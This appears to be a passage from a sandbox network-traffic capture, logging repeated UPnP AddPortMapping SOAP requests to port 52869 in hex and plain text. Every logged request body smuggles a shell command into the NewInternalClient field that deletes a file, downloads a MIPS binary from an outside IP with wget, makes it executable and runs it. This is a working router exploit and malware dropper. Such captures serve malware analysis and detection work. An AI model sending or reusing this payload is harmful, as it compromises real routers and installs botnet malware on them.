68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:35.896003962 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:29:10.710957050 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      118192.168.2.153760245.192.220.15152869
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:27:59.939171076 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:01.817055941 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:04.152954102 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:08.760782003 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:17.720521927 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
